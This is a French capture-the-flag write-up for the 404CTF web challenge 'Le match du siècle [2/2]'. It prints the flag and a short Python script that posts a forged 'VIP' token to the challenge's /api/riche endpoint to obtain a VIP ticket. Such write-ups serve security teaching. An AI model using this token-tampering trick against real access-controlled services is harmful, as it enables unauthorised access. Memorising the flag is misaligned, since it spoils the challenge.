Le match du siècle [2/2]

404CTF{b7554ee60d0020216749d428830a55f1}

Catégorie: Web Difficulté: medium Flag: -

Challenge

Description


Vous avez déjà en votre possession un billet, néanmoins, pour impressionner votre famille, vous souhaiteriez des places VIP.

Connexion: https://le-match-du-siecle.challenges.404ctf.fr

Solution

Analyse des requêtes

Dans le challenge précédent, on pouvait voir qu'en cliquant sur le bouton "Obtenir" d'un de nos billets, une requête POST sur /api/riche était faite avec le nom du ticket comme token pour récupérer le flag.

Il suffit donc de faire la même requête avec pour token, le ticket VIP :

import requests
from PIL import Image
from io import BytesIO


def main() -> None:
	url = 'https://le-match-du-siecle.challenges.404ctf.fr'
	response = requests.post(f'{url}/api/riche', json={"token":"VIP"})
	Image.open(BytesIO(response.content)).show()


if __name__ == '__main__':
	main()

Dernière mise à jour

Cet article vous a-t-il été utile ?